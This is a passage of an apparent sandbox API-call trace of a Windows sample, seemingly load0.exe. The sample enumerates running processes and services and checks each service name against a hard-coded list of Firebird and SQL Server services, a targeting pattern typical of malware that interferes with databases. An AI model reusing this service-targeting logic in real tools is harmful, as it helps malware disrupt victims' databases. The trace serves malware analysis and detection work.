lpString2="NlaSvc") returned 1 [0300.019] lstrlenW (lpString="nsi") returned 3 [0300.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0300.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0300.019] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0300.019] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0300.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0300.019] lstrlenW (lpString="PcaSvc") returned 6 [0300.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0300.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0300.019] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0300.019] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0300.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0300.019] lstrlenW (lpString="PlugPlay") returned 8 [0300.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0300.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0300.019] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0300.019] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0300.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0300.019] lstrlenW (lpString="Power") returned 5 [0300.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0300.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0300.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0300.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0300.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0300.019] lstrlenW (lpString="ProfSvc") returned 7 [0300.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0300.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0300.019] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0300.019] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0300.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0300.020] lstrlenW (lpString="RpcEptMapper") returned 12 [0300.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0300.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0300.020] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0300.020] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0300.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0300.020] lstrlenW (lpString="RpcSs") returned 5 [0300.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0300.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0300.020] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0300.020] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0300.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0300.020] lstrlenW (lpString="SamSs") returned 5 [0300.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0300.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0300.020] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0300.020] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0300.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0300.020] lstrlenW (lpString="Schedule") returned 8 [0300.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0300.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0300.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0300.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0300.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0300.020] lstrlenW (lpString="SecurityHealthService") returned 21 [0300.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0300.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0300.020] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0300.020] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0300.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0300.020] lstrlenW (lpString="SENS") returned 4 [0300.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0300.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0300.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0300.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0300.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0300.021] lstrlenW (lpString="ShellHWDetection") returned 16 [0300.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0300.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0300.021] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0300.021] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0300.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0300.021] lstrlenW (lpString="Spooler") returned 7 [0300.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0300.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0300.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0300.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0300.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0300.021] lstrlenW (lpString="SSDPSRV") returned 7 [0300.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0300.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0300.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0300.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0300.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0300.021] lstrlenW (lpString="StateRepository") returned 15 [0300.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0300.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0300.021] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0300.021] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0300.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0300.021] lstrlenW (lpString="SysMain") returned 7 [0300.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0300.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0300.021] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0300.021] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0300.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0300.021] lstrlenW (lpString="SystemEventsBroker") returned 18 [0300.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0300.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0300.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0300.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0300.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x108c [0300.025] Process32FirstW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.025] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0300.026] lstrlenW (lpString="System") returned 6 [0300.026] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0300.080] lstrlenW (lpString="smss.exe") returned 8 [0300.080] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.081] lstrlenW (lpString="csrss.exe") returned 9 [0300.081] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0300.081] lstrlenW (lpString="wininit.exe") returned 11 [0300.081] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.082] lstrlenW (lpString="csrss.exe") returned 9 [0300.082] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0300.083] lstrlenW (lpString="winlogon.exe") returned 12 [0300.083] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0300.083] lstrlenW (lpString="services.exe") returned 12 [0300.083] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0300.084] lstrlenW (lpString="lsass.exe") returned 9 [0300.084] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0300.085] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0300.085] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0300.085] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0300.085] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.086] lstrlenW (lpString="svchost.exe") returned 11 [0300.086] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.086] lstrlenW (lpString="svchost.exe") returned 11 [0300.086] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0300.087] lstrlenW (lpString="dwm.exe") returned 7 [0300.087] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.088] lstrlenW (lpString="svchost.exe") returned 11 [0300.088] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.088] lstrlenW (lpString="svchost.exe") returned 11 [0300.088] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.089] lstrlenW (lpString="svchost.exe") returned 11 [0300.089] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.090] lstrlenW (lpString="svchost.exe") returned 11 [0300.090] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.090] lstrlenW (lpString="svchost.exe") returned 11 [0300.090] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.091] lstrlenW (lpString="svchost.exe") returned 11 [0300.091] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.092] lstrlenW (lpString="svchost.exe") returned 11 [0300.092] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.092] lstrlenW (lpString="svchost.exe") returned 11 [0300.092] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.093] lstrlenW (lpString="svchost.exe") returned 11 [0300.093] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.094] lstrlenW (lpString="svchost.exe") returned 11 [0300.094] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0300.094] lstrlenW (lpString="spoolsv.exe") returned 11 [0300.094] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.095] lstrlenW (lpString="svchost.exe") returned 11 [0300.095] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0300.095] lstrlenW (lpString="audiodg.exe") returned 11 [0300.095] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0300.096] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0300.096] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0300.097] lstrlenW (lpString="Memory Compression") returned 18 [0300.097] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0300.097] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0300.097] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0300.098] lstrlenW (lpString="sihost.exe") returned 10 [0300.098] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.099] lstrlenW (lpString="svchost.exe") returned 11 [0300.099] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0300.099] lstrlenW (lpString="taskhostw.exe") returned 13 [0300.099] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0300.100] lstrlenW (lpString="msoia.exe") returned 9 [0300.100] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0300.100] lstrlenW (lpString="explorer.exe") returned 12 [0300.101] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0300.101] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0300.101] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0300.105] lstrlenW (lpString="SearchUI.exe") returned 12 [0300.105] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0300.106] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0300.106] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0300.106] lstrlenW (lpString="load0.exe") returned 9 [0300.106] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.107] lstrlenW (lpString="svchost.exe") returned 11 [0300.107] Process32NextW (in: hSnapshot=0x108c, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0300.107] CloseHandle (hObject=0x108c) returned 1 [0300.108] Sleep (dwMilliseconds=0x1f4) [0300.621] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd7b0 [0300.622] EnumServicesStatusExW (in: hSCManager=0x7bd7b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0300.622] GetLastError () returned 0xea [0300.622] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x3ee20a8 [0300.622] EnumServicesStatusExW (in: hSCManager=0x7bd7b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ee20a8, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ee20a8, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0300.622] CloseServiceHandle (hSCObject=0x7bd7b0) returned 1 [0300.623] lstrlenW (lpString="Appinfo") returned 7 [0300.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0300.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0300.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0300.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0300.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0300.623] lstrlenW (lpString="AppXSvc") returned 7 [0300.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0300.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0300.623] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0300.623] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0300.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0300.623] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0300.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0300.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0300.623] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0300.623] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0300.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0300.623] lstrlenW (lpString="Audiosrv") returned 8 [0300.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0300.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0300.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0300.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0300.623] lstrcmpiW (lpString1="sqlserveradhelper", 